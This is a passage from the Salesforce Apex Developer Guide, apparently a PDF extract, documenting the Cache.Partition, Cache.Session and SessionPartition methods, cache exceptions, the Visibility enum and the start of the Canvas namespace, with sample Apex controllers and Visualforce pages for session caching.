Type: Set<String>
A set containing all cache keys.
getMaxGetTime()
Returns the maximum time taken to get a key from the partition, in nanoseconds.
Signature
public Long getMaxGetTime()
Return Value
Type: Long
getMaxValueSize()
Returns the maximum item size for keys in the partition, in bytes.
Signature
public Long getMaxValueSize()
Return Value
Type: Long
getMissRate()
Returns the miss rate in the partition.
Signature
public Double getMissRate()
Return Value
Type: Double
761
Partition ClassReference
getName()
Returns the name of this cache partition.
Signature
public String getName()
Return Value
Type: String
The name of this cache partition.
getNumKeys()
Returns the total number of keys in the partition.
Signature
public Long getNumKeys()
Return Value
Type: Long
isAvailable()
Returns true if the Salesforce session is available. Only applies to Cache.SessionPartition. The session cache isn’t available
when an active session isn’t present, such as in asynchronous Apex or code called by asynchronous Apex. For example, if batch Apex
causes an Apex trigger to execute, the session cache isn’t available in the trigger because the trigger runs in asynchronous context.
Signature
public Boolean isAvailable()
Return Value
Type: Boolean
put(key, value)
Stores the specified key/value pair as a cached entry in the cache partition. The put method can write only to the cache in your org’s
namespace.
Signature
public void put(String key, Object value)
762
Partition ClassReference
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value.
value
Type: Object
The value to store in the cache. The cached value must be serializable.
Return Value
Type: void
put(key, value, visibility)
Stores the specified key/value pair as a cached entry in the cache partition and sets the cached value’s visibility.
Signature
public void put(String key, Object value, cache.Visibility visibility)
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value.
value
Type: Object
The value to store in the cache. The cached value must be serializable.
visibility
Type: Cache.Visibility
Indicates whether the cached value is available only to Apex code that is executing in the same namespace or to Apex code executing
from any namespace.
Return Value
Type: void
put(key, value, ttlSecs)
Stores the specified key/value pair as a cached entry in the cache partition and sets the cached value’s lifetime.
Signature
public void put(String key, Object value, Integer ttlSecs)
763
Partition ClassReference
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value.
value
Type: Object
The value to store in the cache. The cached value must be serializable.
ttlSecs
Type: Integer
The amount of time, in seconds, to keep the cached value in the cache.
Return Value
Type: void
put(key, value, ttlSecs, visibility, immutable)
Stores the specified key/value pair as a cached entry in the cache partition. This method also sets the cached value’s lifetime, visibility,
and whether it can be overwritten by another namespace.
Signature
public void put(String key, Object value, Integer ttlSecs, cache.Visibility visibility,
Boolean immutable)
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value.
value
Type: Object
The value to store in the cache. The cached value must be serializable.
ttlSecs
Type: Integer
The amount of time, in seconds, to keep the cached value in the cache.
visibility
Type: Cache.Visibility
Indicates whether the cached value is available only to Apex code that is executing in the same namespace or to Apex code executing
from any namespace.
immutable
Type: Boolean
Indicates whether the cached value can be overwritten by another namespace (false) or not (true).
764
Partition ClassReference
Return Value
Type: void
remove(key)
Deletes the cached value corresponding to the specified key from this cache partition.
Signature
public Boolean remove(String key)
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value.
Return Value
Type: Boolean
true if the cache value was successfully removed. Otherwise, false.
validateKey(isDefault, key)
Validates a cache key. This method throws a Cache.InvalidParamException if the key is not valid. A valid key is not null
and contains alphanumeric characters.
Signature
public static void validateKey(Boolean isDefault, String key)
Parameters
isDefault
Type: Boolean
Set to true if the key references a default partition. Otherwise, set to false.
key
Type: String
The key to validate.
Return Value
Type: void
validateKeyValue(isDefault, key, value)
Validates a cache key and ensures that the cache value is non-null. This method throws a Cache.InvalidParamException if
the key or value is not valid. A valid key is not null and contains alphanumeric characters.
765
Partition ClassReference
Signature
public static void validateKeyValue(Boolean isDefault, String key, Object value)
Parameters
isDefault
Type: Boolean
Set to true if the key references a default partition. Otherwise, set to false.
key
Type: String
The key to validate.
value
Type: Object
The cache value to validate.
Return Value
Type: void
validateKeys(isDefault, keys)
Validates the specified cache keys. This method throws a Cache.InvalidParamException if the key is not valid. A valid key
is not null and contains alphanumeric characters.
Signature
public static void validateKeys(Boolean isDefault, Set<String> keys)
Parameters
isDefault
Type: Boolean
Set to true if the key references a default partition. Otherwise, set to false.
keys
Type: Set<String>
A set of key string values to validate.
Return Value
Type: void
validatePartitionName(name)
Validates the partition name — for example, that it is not null.
766
Partition ClassReference
Signature
public static void validatePartitionName(String name)
Parameters
name
Type: String
The name of the partition to validate.
Return Value
Type: void
Session Class
Use the Cache.Session class to add, retrieve, and manage values in the session cache. The session cache is active as long as the
user’s Salesforce session is valid (the user is logged in, and the session is not expired).
Namespace
Cache
Usage
Cache Key Format
This table lists the format of the key parameter that some methods in this class take, such as put, get, and contains.
DescriptionKey Format
Fully qualified key name.namespace.partition.key
Refers to a partition marked as default when the
namespace.partition prefix is omitted.
key
Use the local prefix to refer to the org’s namespace when the
org doesn’t have a namespace defined. If the org has a namespace
defined, the local prefix also refers to that org’s namespace.
local.partition.key
Note:
•If no default partition is specified in the org, calling a cache method without fully qualifying the key name causes a
Cache.Session.SessionCacheException to be thrown.
•The local prefix in an installed managed package refers to the namespace of the subscriber org and not the package’s
namespace. The cache put calls are not allowed in a partition that the invoking class doesn’t own.
•Session cache doesn’t support asynchronous Apex. For example, you can’t use future methods or batch Apex with session
cache.
767
Session ClassReference
Example
This class is the controller for a sample Visualforce page (shown in the subsequent code sample). The cached values are initially added
to the cache by the init() method, which the Visualforce page invokes when it loads through the action attribute. The cache
keys don’t contain the namespace.partition prefix. They all refer to a default partition in your org. The Visualforce page expects
a partition named myPartition. To run this sample, create a default partition in your org with the name myPartition.
The Visualforce page contains four output components. The first three components call get methods on the controller that return the
following values from the cache: a date, data based on the MyData inner class, and a counter. The next output component uses the
$Cache.Session global variable to get the cached string value for the key named output. Next, the $Cache.Session global
variable is used again in the Visualforce page to iterate over the elements of a cached value of type List. The size of the list is also
returned.
The Visualforce page also contains two buttons. The Rerender button invokes the go() method on the controller. This method increases
the values of the counter and the custom data in the cache. If you click Rerender, the two counters increase by one each time. The
go() method retrieves the values of these counters from the cache, increments their values by one, and stores them again in the
cache.
The Remove button deletes the date-time value (with key datetime) from the cache. As a result, the value next to Cached
datetime: is cleared on the page.
public class SessionCacheController {
// Inner class.
// Used as the data type of a cache value.
class MyData {
public String value { get; set; }
public Integer counter { get; set; }
public MyData(String value) {
this.value = value;
this.counter = 0;
}
public void inc() {
counter++;
}
override public String toString() {
return this.value + ':' +this.counter;
}
}
// Apex List.
// Used as the data type of a cached value.
private List<String> numbers =
new List<String>{'ONE','TWO','THREE','FOUR','FIVE' };
// Constructor of the controller for the Visualforce page.
public SessionCacheController() {
}
// Adds various values to the cache.
// This method is called when the Visualforce page loads.
public void init() {
768
Session ClassReference
// All key values are not qualified by the namespace.partition
// prefix because they use the default partition.
// Add counter to the cache with initial value of 0
// or increment it if it's already there.
if (!Cache.Session.contains('counter')) {
Cache.Session.put('counter', 0);
}else {
Cache.Session.put('counter', getCounter() + 1);
}
// Add the datetime value to the cache only if it's not already there.
if (!Cache.Session.contains('datetime')) {
DateTime dt = DateTime.now();
Cache.Session.put('datetime', dt);
}
// Add the custom data to the cache only if it's not already there.
if (!Cache.Session.contains('data')) {
Cache.Session.put('data',new MyData('Some custom value'));
}
// Add a list of number to the cache if not already there.
if (!Cache.Session.contains('list')) {
Cache.Session.put('list', numbers);
}
// Add a string value to the cache if not already there.
if (!Cache.Session.contains('output')) {
Cache.Session.put('output','Cached text value');
}
}
// Return counter from the cache.
public Integer getCounter() {
return (Integer)Cache.Session.get('counter');
}
// Return datetime value from the cache.
public String getCachedDatetime() {
DateTime dt = (DateTime)Cache.Session.get('datetime');
return dt != null ? dt.format() : null;
}
// Return cached value whose type is the inner class MyData.
public String getCachedData() {
MyData mydata = (MyData)Cache.Session.get('data');
return mydata != null ? mydata.toString() : null;
}
// Method invoked by the Rerender button on the Visualforce page.
// Updates the values of various cached values.
// Increases the values of counter and the MyData counter if those
// cache values are still in the cache.
769
Session ClassReference
public PageReference go() {
// Increase the cached counter value or set it to 0
// if it's not cached.
if (Cache.Session.contains('counter')) {
Cache.Session.put('counter', getCounter() + 1);
}else {
Cache.Session.put('counter', 0);
}
// Get the custom data value from the cache.
MyData d = (MyData)Cache.Session.get('data');
// Only if the data is already in the cache, update it.
if (Cache.Session.contains('data')) {
d.inc();
Cache.Session.put('data', d);
}
return null;
}
// Method invoked by the Remove button on the Visualforce page.
// Removes the datetime cached value from the session cache.
public PageReference remove() {
Cache.Session.remove('datetime');
return null;
}
}
This is the Visualforce page that corresponds to the SessionCacheController class.
<apex:page controller="SessionCacheController" action="{!init}">
<apex:outputPanel id="output">
<br/>Cached datetime: <apex:outputText value="{!cachedDatetime}"/>
<br/>Cached data: <apex:outputText value="{!cachedData}"/>
<br/>Cached counter: <apex:outputText value="{!counter}"/>
<br/>Output: <apex:outputText value="{!$Cache.Session.local.myPartition.output}"/>
<br/>Repeat: <apex:repeat var="item"
value="{!$Cache.Session.local.myPartition.list}">
<apex:outputText value="{!item}"/>&nbsp;
</apex:repeat>
<br/>List size: <apex:outputText
value="{!$Cache.Session.local.myPartition.list.size}"/>
</apex:outputPanel>
<br/><br/>
<apex:form >
<apex:commandButton id="go" action="{!go}" value="Rerender" rerender="output"/>
<apex:commandButton id="remove" action="{!remove}" value="Remove datetime Key"
rerender="output"/>
</apex:form>
</apex:page>
770
Session ClassReference
This is the output of the page after clicking the Rerender button twice. The counter value could differ in your case if a key named
counter was already in the cache before running this sample.
Cached datetime:8/11/2015 1:58 PM
Cached data:Some custom value:2
Cached counter:2
Output:Cached text value
Repeat:ONE TWO THREE FOUR FIVE
List size:5
IN THIS SECTION:
Session Constants
The Session class provides a constant that you can use when setting the time-to-live (TTL) value.
Session Methods
SEE ALSO:
Platform Cache
Session Constants
The Session class provides a constant that you can use when setting the time-to-live (TTL) value.
DescriptionConstant
Represents the maximum amount of time, in seconds, to keep the cached value in the
session cache.
MAX_TTL_SECS
Session Methods
The following are methods for Session. All methods are static.
IN THIS SECTION:
contains(key)
Returns true if the session cache contains a cached value corresponding to the specified key.
get(key)
Returns the cached value corresponding to the specified key from the session cache.
getAvgGetTime()
Returns the average time taken to get a key from the session cache, in nanoseconds.
getAvgValueSize()
Returns the average item size for keys in the session cache, in bytes.
getCapacity()
Returns the percentage of session cache capacity that has been used.
getKeys()
Returns all keys that are stored in the session cache and visible to the invoking namespace.
771
Session ClassReference
getMaxGetTime()
Returns the maximum time taken to get a key from the session cache, in nanoseconds.
getMaxValueSize()
Returns the maximum item size for keys in the session cache, in bytes.
getMissRate()
Returns the miss rate in the session cache.
getName()
Returns the name of the default cache partition.
getNumKeys()
Returns the total number of keys in the session cache.
getPartition(partitionName)
Returns a partition from the session cache that corresponds to the specified partition name.
isAvailable()
Returns true if the session cache is available for use. The session cache isn’t available when an active session isn’t present, such
as in asynchronous Apex or code called by asynchronous Apex. For example, if batch Apex causes an Apex trigger to execute, the
session cache isn’t available in the trigger because the trigger runs in asynchronous context.
put(key, value)
Stores the specified key/value pair as a cached entry in the session cache. The put method can write only to the cache in your org’s
namespace.
put(key, value, visibility)
Stores the specified key/value pair as a cached entry in the session cache and sets the cached value’s visibility.
put(key, value, ttlSecs)
Stores the specified key/value pair as a cached entry in the session cache and sets the cached value’s lifetime.
put(key, value, ttlSecs, visibility, immutable)
Stores the specified key/value pair as a cached entry in the session cache. This method also sets the cached value’s lifetime, visibility,
and whether it can be overwritten by another namespace.
remove(key)
Deletes the cached value corresponding to the specified key from the session cache.
contains(key)
Returns true if the session cache contains a cached value corresponding to the specified key.
Signature
public static Boolean contains(String key)
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.
772
Session ClassReference
Return Value
Type: Boolean
true if a cache entry is found. Othewise, false.
get(key)
Returns the cached value corresponding to the specified key from the session cache.
Signature
public static Object get(String key)
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.
Return Value
Type: Object
The cached value as a generic object type. Cast the returned value to the appropriate type.
Usage
Because Cache.Session.get() returns an object, we recommend that you cast the returned value to a specific type to facilitate
use of the returned value.
// Get a cached value
Object obj = Cache.Session.get('ns1.partition1.orderDate');
// Cast return value to a specific data type
DateTime dt2 = (DateTime)obj;
If a Cache.Session.get() call doesn’t find the referenced key, it returns null.
getAvgGetTime()
Returns the average time taken to get a key from the session cache, in nanoseconds.
Signature
public static Long getAvgGetTime()
Return Value
Type: Long
getAvgValueSize()
Returns the average item size for keys in the session cache, in bytes.
773
Session ClassReference
Signature
public static Long getAvgValueSize()
Return Value
Type: Long
getCapacity()
Returns the percentage of session cache capacity that has been used.
Signature
public static Double getCapacity()
Return Value
Type: Double
Used cache as a percentage number.
getKeys()
Returns all keys that are stored in the session cache and visible to the invoking namespace.
Signature
public static Set<String> getKeys()
Return Value
Type: Set<String>
A set containing all cache keys.
getMaxGetTime()
Returns the maximum time taken to get a key from the session cache, in nanoseconds.
Signature
public static Long getMaxGetTime()
Return Value
Type: Long
getMaxValueSize()
Returns the maximum item size for keys in the session cache, in bytes.
774
Session ClassReference
Signature
public static Long getMaxValueSize()
Return Value
Type: Long
getMissRate()
Returns the miss rate in the session cache.
Signature
public static Double getMissRate()
Return Value
Type: Double
getName()
Returns the name of the default cache partition.
Signature
public String getName()
Return Value
Type: String
The name of the default cache partition.
getNumKeys()
Returns the total number of keys in the session cache.
Signature
public static Long getNumKeys()
Return Value
Type: Long
getPartition(partitionName)
Returns a partition from the session cache that corresponds to the specified partition name.
775
Session ClassReference
Signature
public static cache.SessionPartition getPartition(String partitionName)
Parameters
partitionName
Type: String
A partition name that is qualified by the namespace, for example, namespace.partition.
Return Value
Type: Cache.SessionPartition
Example
After you get the session partition, you can add and retrieve the partition’s cache values.
// Get partition
Cache.SessionPartition sessionPart = Cache.Session.getPartition('myNs.myPartition');
// Retrieve cache value from the partition
if (sessionPart.contains('BookTitle')) {
String cachedTitle = (String)sessionPart.get('BookTitle');
}
// Add cache value to the partition
sessionPart.put('OrderDate',Date.today());
// Or use dot notation to call partition methods
String cachedAuthor =
(String)Cache.Session.getPartition('myNs.myPartition').get('BookAuthor');
isAvailable()
Returns true if the session cache is available for use. The session cache isn’t available when an active session isn’t present, such as in
asynchronous Apex or code called by asynchronous Apex. For example, if batch Apex causes an Apex trigger to execute, the session
cache isn’t available in the trigger because the trigger runs in asynchronous context.
Signature
public static Boolean isAvailable()
Return Value
Type: Boolean
true if the session cache is available. Otherwise, false.
put(key, value)
Stores the specified key/value pair as a cached entry in the session cache. The put method can write only to the cache in your org’s
namespace.
776
Session ClassReference
Signature
public static void put(String key, Object value)
Parameters
key
Type: String
A string that uniquely identifies the value to be cached. For information about the format of the key name, see Usage.
value
Type: Object
The value to store in the cache. The cached value must be serializable.
Return Value
Type: void
put(key, value, visibility)
Stores the specified key/value pair as a cached entry in the session cache and sets the cached value’s visibility.
Signature
public static void put(String key, Object value, Cache.Visibility visibility)
Parameters
key
Type: String
A string that uniquely identifies the value to be cached. For information about the format of the key name, see Usage.
value
Type: Object
The value to store in the cache. The cached value must be serializable.
visibility
Type: Cache.Visibility
Indicates whether the cached value is available only to Apex code that is executing in the same namespace or to Apex code executing
from any namespace.
Return Value
Type: void
put(key, value, ttlSecs)
Stores the specified key/value pair as a cached entry in the session cache and sets the cached value’s lifetime.
777
Session ClassReference
Signature
public static void put(String key, Object value, Integer ttlSecs)
Parameters
key
Type: String
A string that uniquely identifies the value to be cached. For information about the format of the key name, see Usage.
value
Type: Object
The value to store in the cache. The cached value must be serializable.
ttlSecs
Type: Integer
The amount of time, in seconds, to keep the cached value in the session cache. The cached values remain in the cache as long as
the Salesforce session hasn’t expired. The maximum value is 28,800 seconds or eight hours. The minimum value is 300 seconds or
five minutes.
Return Value
Type: void
put(key, value, ttlSecs, visibility, immutable)
Stores the specified key/value pair as a cached entry in the session cache. This method also sets the cached value’s lifetime, visibility,
and whether it can be overwritten by another namespace.
Signature
public static void put(String key, Object value, Integer ttlSecs, cache.Visibility
visibility, Boolean immutable)
Parameters
key
Type: String
A string that uniquely identifies the value to be cached. For information about the format of the key name, see Usage.
value
Type: Object
The value to store in the cache. The cached value must be serializable.
ttlSecs
Type: Integer
The amount of time, in seconds, to keep the cached value in the session cache. The cached values remain in the cache as long as
the Salesforce session hasn’t expired. The maximum value is 28,800 seconds or eight hours. The minimum value is 300 seconds or
five minutes.
visibility
Type: Cache.Visibility
778
Session ClassReference
Indicates whether the cached value is available only to Apex code that is executing in the same namespace or to Apex code executing
from any namespace.
immutable
Type: Boolean
Indicates whether the cached value can be overwritten by another namespace (false) or not (true).
Return Value
Type: void
remove(key)
Deletes the cached value corresponding to the specified key from the session cache.
Signature
public static Boolean remove(String key)
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.
Return Value
Type: Boolean
true if the cache value was successfully removed. Otherwise, false.
SessionPartition Class
Contains methods to manage cache values in the session cache of a specific partition.
Namespace
Cache
Usage
This class extends Cache.Partition and inherits all of its non-static methods. Utility methods for creating and validating keys are not
supported and can be called only from the Cache.Partition parent class. For a list of Cache.Partition methods, see
Partition Methods.
To get a session partition, call Cache.Session.getPartition and pass in a fully qualified partition name, as follows.
Cache.SessionPartition sessionPartition =
Cache.Session.getPartition('namespace.myPartition');
See Cache Key Format for Partition Methods.
779
SessionPartition ClassReference
Example
This class is the controller for a sample Visualforce page (shown in the subsequent code sample). The controller shows how to use the
methods of Cache.SessionPartition to manage a cache value on a particular partition. The controller takes inputs from the
Visualforce page for the partition name, key name for a counter, and initial counter value. The controller contains default values for these
inputs. When you click Rerender on the Visualforce page, the go() method is invoked and increases the counter by one. When you
click Remove Key, the counter key is removed from the cache. The counter value gets reset to its initial value when it’s re-added to the
cache.
public class SessionPartitionController {
// Name of a partition in the local namespace
String partitionInput = 'local.myPartition';
// Name of the key
String counterKeyInput = 'counter';
// Key initial value
Integer counterInitValue = 0;
// Session partition object
Cache.SessionPartition sessionPartition;
// Constructor of the controller for the Visualforce page.
public SessionPartitionController() {
}
// Adds counter value to the cache.
// This method is called when the Visualforce page loads.
public void init() {
// Create the partition instance based on the partition name
sessionPartition = getPartition();
// Add counter to the cache with an initial value
// or increment it if it's already there.
if (!sessionPartition.contains(counterKeyInput)) {
sessionPartition.put(counterKeyInput, counterInitValue);
}else {
sessionPartition.put(counterKeyInput, getCounter() + 1);
}
}
// Returns the session partition based on the partition name
// given in the Visualforce page or the default value.
private Cache.SessionPartition getPartition() {
if (sessionPartition == null) {
sessionPartition = Cache.Session.getPartition(partitionInput);
}
return sessionPartition;
}
// Return counter from the cache.
public Integer getCounter() {
return (Integer)getPartition().get(counterKeyInput);
}
780
SessionPartition ClassReference
// Invoked by the Submit button to save input values
// supplied by the user.
public PageReference save() {
// Reset the initial key value in the cache
getPartition().put(counterKeyInput, counterInitValue);
return null;
}
// Method invoked by the Rerender button on the Visualforce page.
// Updates the values of various cached values.
// Increases the values of counter and the MyData counter if those
// cache values are still in the cache.
public PageReference go() {
// Get the partition object
sessionPartition = getPartition();
// Increase the cached counter value or set it to 0
// if it's not cached.
if (sessionPartition.contains(counterKeyInput)) {
sessionPartition.put(counterKeyInput, getCounter() + 1);
}else {
sessionPartition.put(counterKeyInput, counterInitValue);
}
return null;
}
// Method invoked by the Remove button on the Visualforce page.
// Removes the datetime cached value from the session cache.
public PageReference remove() {
getPartition().remove(counterKeyInput);
return null;
}
// Get and set methods for accessing variables
// that correspond to the input text fields on
// the Visualforce page.
public String getPartitionInput() {
return partitionInput;
}
public String getCounterKeyInput() {
return counterKeyInput;
}
public Integer getCounterInitValue() {
return counterInitValue;
}
public void setPartitionInput(String partition) {
this.partitionInput = partition;
}
781
SessionPartition ClassReference
public void setCounterKeyInput(String keyName) {
this.counterKeyInput = keyName;
}
public void setCounterInitValue(Integer counterValue) {
this.counterInitValue = counterValue;
}
}
This is the Visualforce page that corresponds to the SessionPartitionController class.
<apex:page controller="SessionPartitionController" action="{!init}">
<apex:form >
<br/>Partition with Namespace Prefix: <apex:inputText value="{!partitionInput}"/>
<br/>Counter Key Name: <apex:inputText value="{!counterKeyInput}"/>
<br/>Counter Initial Value: <apex:inputText value="{!counterInitValue}"/>
<apex:commandButton action="{!save}" value="Save Key Input Values"/>
</apex:form>
<apex:outputPanel id="output">
<br/>Cached Counter: <apex:outputText value="{!counter}"/>
</apex:outputPanel>
<br/>
<apex:form >
<apex:commandButton id="go" action="{!go}" value="Rerender" rerender="output"/>
<apex:commandButton id="remove" action="{!remove}" value="Remove Key"
rerender="output"/>
</apex:form>
</apex:page>
SEE ALSO:
Platform Cache
Cache Exceptions
The Cache namespace contains exception classes.
All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In
Exceptions on page 2266 in the Apex Developer Guide.
The Cache namespace contains these exceptions.
Thrown whenException
An error occurred while adding or retrieving a value in the session
cache.
Cache.Session.SessionCacheException
An attempt is made to access the cache when the session cache
isn’t available.
Cache.Session.SessionCacheNoSessionException
782
Cache ExceptionsReference
Thrown whenException
An attempt is made to access a partition that doesn’t exist or whose
name is invalid.
Cache.OrgCacheException
An invalid parameter value is passed into a method of
Cache.Session or Cache.Org. This error occurs when:
Cache.InvalidParamException
•The key referenced is null or empty or is not alphanumeric.
•The namespace referenced is null or empty.
•The partition name is null or empty or is not alphanumeric.
•Another referenced value is null.
A cache put call is made with an item that exceeds the maximum
size limit. To fix this error, break the item into multiple, smaller items.
Cache.ItemSizeLimitExceededException
A cache put or remove call is made that is not allowed. For
example, when calling put or remove inside a Visualforce
constructor.
Cache.PlatformCacheInvalidOperationException
Visibility Enum
Use the Cache.Visibility enumeration in the Cache.Session or Cache.Org methods to indicate whether a cached
value is visible only in the value’s namespace or in all namespaces.
Enum Values
The following are the values of the Cache.Visibility enum.
DescriptionValue
The cached value is available to Apex code executing
from any namespace. This is the default state.
ALL
The cached value is available to Apex code executing
from the same namespace.
NAMESPACE
If a key has the Visibility.NAMESPACE
attribute, a get method initiated from a different
namespace returns null.
Canvas Namespace
The Canvas namespace provides an interface and classes for canvas apps in Salesforce.
The following are the interfaces and classes in the Canvas namespace.
783
Visibility EnumReference
IN THIS SECTION:
ApplicationContext Interface
Use this interface to retrieve application context information, such as the application version or URL.
CanvasLifecycleHandler Interface
Implement this interface to control context information and add custom behavior during the application render phase.
ContextTypeEnum Enum
Describes context data that can be excluded from canvas app context data. You specify which context types to exclude in the
excludeContextTypes() method in your CanvasLifecycleHandler implementation.
EnvironmentContext Interface
Use this interface to retrieve environment context information, such as the app display location or the configuration parameters.
RenderContext Interface
A wrapper interface that is used to retrieve application and environment context information.
Test Class
Contains methods for automated testing of your Canvas classes.
Canvas Exceptions
The Canvas namespace contains exception classes.
ApplicationContext Interface
Use this interface to retrieve application context information, such as the application version or URL.
Namespace
Canvas
Usage
The ApplicationContext interface provides methods to retrieve application information about the canvas app that’s being
rendered. Most of the methods are read-only. For this interface, you don’t need to create an implementation. Use the default
implementation that Salesforce provides.
IN THIS SECTION:
ApplicationContext Methods
ApplicationContext Methods
The following are methods for ApplicationContext.
IN THIS SECTION:
getCanvasUrl()
Retrieves the fully qualified URL of the canvas app.
getDeveloperName()
Retrieves the internal API name of the canvas app.
784
ApplicationContext InterfaceReference
getName()
Retrieves the name of the canvas app.
getNamespace()
Retrieves the namespace prefix of the canvas app.
getVersion()
Retrieves the current version of the canvas app.
setCanvasUrlPath(newPath)
Overrides the URL of the canvas app for the current request.
getCanvasUrl()
Retrieves the fully qualified URL of the canvas app.
Signature
public String getCanvasUrl()
Return Value
Type: String
Usage
Use this method to get the URL of the canvas app, for example:
http://instance.salesforce.com:8080/canvas_app_path/canvas_app.jsp.
getDeveloperName()
Retrieves the internal API name of the canvas app.
Signature
public String getDeveloperName()
Return Value
Type: String
Usage
Use this method to get the API name of the canvas app. You specify this value in the API Name field when you expose the canvas
app by creating a connected app.
getName()
Retrieves the name of the canvas app.
785
ApplicationContext InterfaceReference
Signature
public String getName()
Return Value
Type: String
Usage
Use this method to get the name of the canvas app.
getNamespace()
Retrieves the namespace prefix of the canvas app.
Signature
public String getNamespace()
Return Value
Type: String
Usage
Use this method to get the Salesforce namespace prefix that’s associated with the canvas app.
getVersion()
Retrieves the current version of the canvas app.
Signature
public String getVersion()
Return Value
Type: String
Usage
Use this method to get the current version of the canvas app. This value changes after you update and republish a canvas app in an
organization. If you are in a Developer Edition organization, using this method always returns the latest version.
setCanvasUrlPath(newPath)
Overrides the URL of the canvas app for the current request.
Signature
public void setCanvasUrlPath(String newPath)
786
ApplicationContext InterfaceReference
Parameters
newPath
Type: String
The URL (not including domain) that you need to use to override the canvas app URL.
Return Value
Type: Void
Usage
Use this method to override the URL path and query string of the canvas app. Do not provide a fully qualified URL, because the provided
URL string will be appended to the original canvas URL domain.
For example, if the current canvas app URL is https://myserver.com:6000/myAppPath and you call
setCanvasUrlPath('/alternatePath/args?arg1=1&arg2=2'), the adjusted canvas app URL will be
https://myserver.com:6000/alternatePath/args?arg1=1&arg2=2.
If the provided path results in a malformed URL, or a URL that exceeds 2,048 characters, a System.CanvasException will be thrown.
This method overrides the canvas app URL for the current request and does not permanently change the canvas app URL as configured
in the UI for the Salesforce canvas app settings.
CanvasLifecycleHandler Interface
Implement this interface to control context information and add custom behavior during the application render phase.
Namespace
Canvas
Usage
Use this interface to specify what canvas context information is provided to your app by implementing the excludeContextTypes()
method. Use this interface to call custom code when the app is rendered by implementing the onRender() method.
If you provide an implementation of this interface, you must implement excludeContextTypes() and onRender().
Example Implementation
The following example shows a simple implementation of CanvasLifecycleHandler that specifies that organization context information
will be excluded and prints a debug message when the app is rendered.
public class MyCanvasListener
implements Canvas.CanvasLifecycleHandler{
public Set<Canvas.ContextTypeEnum> excludeContextTypes(){
Set<Canvas.ContextTypeEnum> excluded = new Set<Canvas.ContextTypeEnum>();
excluded.add(Canvas.ContextTypeEnum.ORGANIZATION);
return excluded;
}
public void onRender(Canvas.RenderContext renderContext){
787
CanvasLifecycleHandler InterfaceReference
System.debug('Canvas lifecycle called.');
}
}
IN THIS SECTION:
CanvasLifecycleHandler Methods
CanvasLifecycleHandler Methods
The following are methods for CanvasLifecycleHandler.
IN THIS SECTION:
excludeContextTypes()
Lets the implementation exclude parts of the CanvasRequest context, if the application does not need it.
onRender(renderContext)
Invoked when a canvas app is rendered. Provides the ability to set and retrieve canvas application and environment context information
during the application render phase.
excludeContextTypes()
Lets the implementation exclude parts of the CanvasRequest context, if the application does not need it.
Signature
public Set<Canvas.ContextTypeEnum> excludeContextTypes()
Return Value
Type: SET<Canvas.ContextTypeEnum>
This method must return null or a set of zero or more ContextTypeEnum values. Returning null enables all attributes by default.
ContextTypeEnum values that can be set are:
•Canvas.ContextTypeEnum.ORGANIZATION
•Canvas.ContextTypeEnum.RECORD_DETAIL
•Canvas.ContextTypeEnum.USER
See ContextTypeEnum on page 789 for more details on these values.
Usage
Implement this method to specify which attributes to disable in the context of the canvas app. A disabled attribute will set the associated
canvas context information to null.
Disabling attributes can help improve performance by reducing the size of the signed request and canvas context. Also, disabled attributes
do not need to be retrieved by Salesforce, which further improves performance.
See the Force.com Canvas Developer’s Guide for more information on context information in the Context object that’s provided in the
CanvasRequest.
788
CanvasLifecycleHandler InterfaceReference
Example
This example implementation specifies that the organization information will be disabled in the canvas context.
public Set<Canvas.ContextTypeEnum> excludeContextTypes() {
Set<Canvas.ContextTypeEnum> excluded = new Set<Canvas.ContextTypeEnum>();
excluded.add(Canvas.ContextTypeEnum.ORGANIZATION);
return excluded;
}
onRender(renderContext)
Invoked when a canvas app is rendered. Provides the ability to set and retrieve canvas application and environment context information
during the application render phase.
Signature
public void onRender(Canvas.RenderContext renderContext)
Parameters
renderContext
Type: Canvas.RenderContext
Return Value
Type: Void
Usage
If implemented, this method is called whenever the canvas app is rendered. The implementation can set and retrieve context information
by using the provided Canvas.RenderContext.
This method is called whenever signed request or context information is retrieved by the client. See the Force.com Canvas Developer’s
Guide for more information on signed request authentication.
Example
This example implementation prints ‘Canvas lifecycle called.’ to the debug log when the canvas app is rendered.
public void onRender(Canvas.RenderContext renderContext) {
System.debug('Canvas lifecycle called.');
}
ContextTypeEnum Enum
Describes context data that can be excluded from canvas app context data. You specify which context types to exclude in the
excludeContextTypes() method in your CanvasLifecycleHandler implementation.
Namespace
Canvas
789
ContextTypeEnum EnumReference
Enum Values
DescriptionValue
Exclude context information about the organization in which the canvas app is
running.
ORGANIZATION
Exclude context information about the object record on which the canvas app
appears.
RECORD_DETAIL
Exclude context information about the current user.USER
EnvironmentContext Interface
Use this interface to retrieve environment context information, such as the app display location or the configuration parameters.
Namespace
Canvas
Usage
The EnvironmentContext interface provides methods to retrieve environment information about the current canvas app. For
this interface, you don’t need to create an implementation. Use the default implementation that Salesforce provides.
IN THIS SECTION:
EnvironmentContext Methods
EnvironmentContext Methods
The following are methods for EnvironmentContext.
IN THIS SECTION:
addEntityField(fieldName)
Adds a field to the list of object fields that are returned in the signed request Record object when the component appears on a
Visualforce page that’s placed on an object.
addEntityFields(fieldNames)
Adds a set of fields to the list of object fields that are returned in the signed request Record object when the component appears
on a Visualforce page that’s placed on an object.
getDisplayLocation()
Retrieves the display location where the canvas app is being called from. For example, a value of Visualforce indicates that the canvas
app was called from a Visualforce page.
getEntityFields()
Retrieves the list of object fields that are returned in the signed request Record object when the component appears on a Visualforce
page that’s placed on an object.
790
EnvironmentContext InterfaceReference
getLocationUrl()
Retrieves the location URL of the canvas app.
getParametersAsJSON()
Retrieves the current custom parameters for the canvas app. Parameters are returned as a JSON string.
getSublocation()
Retrieves the display sublocation where the canvas app is being called from.
setParametersAsJSON(jsonString)
Sets the custom parameters for the canvas app.
addEntityField(fieldName)
Adds a field to the list of object fields that are returned in the signed request Record object when the component appears on a Visualforce
page that’s placed on an object.
Signature
public void addEntityField(String fieldName)
Parameters
fieldName
Type: String
